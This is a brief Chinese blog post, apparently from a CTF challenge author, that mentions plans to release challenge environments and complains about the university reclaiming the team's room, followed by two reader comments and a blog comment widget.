菜🐶一枚,看来出题也不太简单,后面会把环境全部上传到github。由于javalin题是去年出得,然后有点复杂,然后wp还忘记留了,整了一天才把之前的思路整合好。再吐槽几句,没想到东b直接把咱战队的老挝端了,🐮的,学弟们以后在学校打比赛就很不方便了。怎么说也是14届传承下来的教室,多少有点接受不了,但是想到是东b,不仅能接受,还觉得东b还不够狠捏😅。

评论

  1. 感谢东大
    12 月前
    2023-5-14 16:36:57

    哪所学校都有行政问题。与社会上相比,学校的行政问题根本不值一提。若连学校的行政问题都无法面对,那在社会上怎能生存?除非针对学校做一套,在社会上做另一套。
    莫要因小失大、因噎废食,莫要因极少数人的“劝退”而错失上全国顶尖级985东b带学的大好时机!

    • 博主
      感谢东大
      11 月前
      2023-5-31 11:20:51

      一时没看懂是不是友军

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇